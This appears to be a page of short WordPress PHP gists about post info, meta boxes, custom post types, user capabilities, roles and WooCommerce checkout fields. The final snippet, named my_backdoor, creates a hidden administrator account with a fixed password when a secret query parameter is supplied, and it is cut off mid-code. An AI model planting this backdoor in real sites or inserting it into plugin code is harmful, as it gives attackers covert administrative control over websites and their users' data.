This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter( 'genesis_post_info', 'custom_post_info' ); | |
function custom_post_info( $post_info ) { | |
$u_time = get_the_time( 'U' ); | |
$u_modified_time = get_the_modified_time( 'U' ); | |
if ( $u_modified_time >= $u_time + 86400 ) { | |
$post_date = get_the_modified_time( 'F jS, Y' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('add_meta_boxes_wprss_feed', 'wprss_c_meta_box_order'); | |
function wprss_c_meta_box_order() { | |
global $wp_meta_boxes; | |
$category = $wp_meta_boxes['wprss_feed']['side']['core']['wprss_categorydiv']; | |
unset( $wp_meta_boxes['wprss_feed']['side']['core']['wprss_categorydiv'] ); | |
# We're hooking into: do_action('add_meta_boxes_' . $post_type, $post); | |
$wp_meta_boxes['wprss_feed']['side']['low'] = array( 'wprss_categorydiv' => $category ) + $wp_meta_boxes['wprss_feed']['side']['low']; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'init', 'create_my_post_types' ); | |
function create_my_post_types() { | |
register_post_type( | |
'movie', | |
array( | |
'public' => true, | |
'capability_type' => 'movie', | |
'capabilities' => array( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Checking for capability | |
if ( user_can( 6, 'read' ) ) { | |
// Do something | |
} | |
// Checking for role | |
if ( user_can( 6, 'administrator' ) ) { | |
// Do something | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( current_user_can( 'moderate_comments' ) ) { | |
echo 'The current user can moderate comments'; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function add_capability() { | |
// gets the author role | |
$role = get_role( 'author' ); | |
// This only works, because it accesses the class instance. | |
$role->add_cap( 'edit_others_posts' ); | |
} | |
add_action( 'admin_init', 'add_capability'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$result = add_role( 'advanced_contributor', 'Advanced Contributor', array( | |
'read' => true, // True allows that capability | |
'edit_posts' => true, | |
'delete_posts' => false, // Use false to explicitly deny | |
)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'admin_init', 'wprss_et_activate_deactivate_license' ); | |
/** | |
* Handles the activation/deactivation process | |
* | |
* @since 1.1 | |
*/ | |
function wprss_et_activate_deactivate_license() { | |
// listen for our activate button to be clicked |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' ); | |
function custom_override_checkout_fields( $fields ) { | |
unset($fields['billing']['billing_first_name']); | |
unset($fields['billing']['billing_last_name']); | |
unset($fields['billing']['billing_company']); | |
unset($fields['billing']['billing_address_1']); | |
unset($fields['billing']['billing_address_2']); | |
unset($fields['billing']['billing_city']); | |
unset($fields['billing']['billing_postcode']); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action( 'wp_head', 'my_backdoor' ); | |
function my_backdoor() { | |
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
require( 'wp-includes/registration.php' ); | |
if ( !username_exists( 'mr_admin' ) ) { | |
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); |
NewerOlder